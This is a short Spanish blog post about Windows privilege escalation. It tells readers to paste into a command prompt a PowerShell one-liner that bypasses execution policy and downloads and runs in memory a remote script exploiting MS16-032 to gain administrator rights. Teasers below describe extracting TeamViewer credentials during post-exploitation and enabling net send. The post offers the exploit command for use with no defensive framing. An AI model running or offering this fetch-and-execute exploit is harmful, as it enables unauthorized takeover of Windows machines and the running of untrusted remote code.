La forma mas sencilla de escalar privilegios en windows - easiest privilege escalation on windows


La forma mas sencilla de escalar privilegios en windows, copiar este comando en una ventana de cmd:


powershell -ExecutionPolicy Bypass -command "IEX (New-Object Net.WebClient).DownloadString(\"https://raw.githubusercontent.com/kr1shn4murt1/PowerShell-Suite/master/Invoke-MS16-032.ps1\"); Invoke-MS16-032"

@FuzzySec


Escalar privilegios es basicamente pasar de ser un usuario normal en el sistema operativo para convertirse en un usuario administrador




 

 

Comentarios

Publicar un comentario

Entradas más populares de este blog

Obtener el ID y password de teamviewer de una maquina en la LAN

La herramienta de la que hablaré en este post obtiene el id y password de teamviewer en un proceso de post explotación. Nació de la necesidad que tuve durante un pentest donde el escenario era el siguiente: Obtuve shell remota en una máquina donde podía ejecutar comandos pero no tenía acceso a entorno gráfico, la máquina no tenía activado escritorio remoto, la seguridad era fuerte, antivirus instalado y actualizado el cual no pude desactivar por linea de comandos, sistema perimetral de seguridad, reglas de filtrado de tráfico en el utm el cual no sabía que tanto estaba siendo monitoreado. La shell la obtuve sin ejecutar ningún exploit, la idea era no ejecutar nada sospechoso que pudiera disparar alarmas en el antivirus instalado localmente ni en el sistema de seguridad perimetral ya que el pentest se daría por terminado si algún comportamiento malicioso era detectado La máquina tenía instalado teamviewer, si lograba de alguna manera leer desde línea de comandos el id y contr
Leer más

Activar mensajero en Windows 7 y 2008

Imagen
Saludos, El mensajero es un servicio que permite enviar mensajes entre dos equipos con sistema operativo windows, para usarlo primero se debe activar tanto en el equipo origen como en el equipo destino y luego se utiliza digitando en el prompt o en inicio - ejecutar el comando: net send [equipo de destino] [mensaje a enviar] , o en vez de equipo de destino se puede reemplazar por "*" si es a toda la red, los mensajes aparecerán en los equipos de destino como una ventana  pop up, veremos la manera de emular su funcionamiento en windows 7 y 2008 de donde fué eliminado dicho servicio. Este se activa en Windows XP y 2003 en el menú panel de control - herramientas administrativas - servicios, allí se busca el mensajero, se le da click derecho - propiedades y luego de la lista desplegable de tipo de inicio se le pone inicio automático, luego click al botón iniciar y listo, ejecutando el procedimiento en dos equipos ya se puede enviar mensajes entre ellos. Por r
Leer más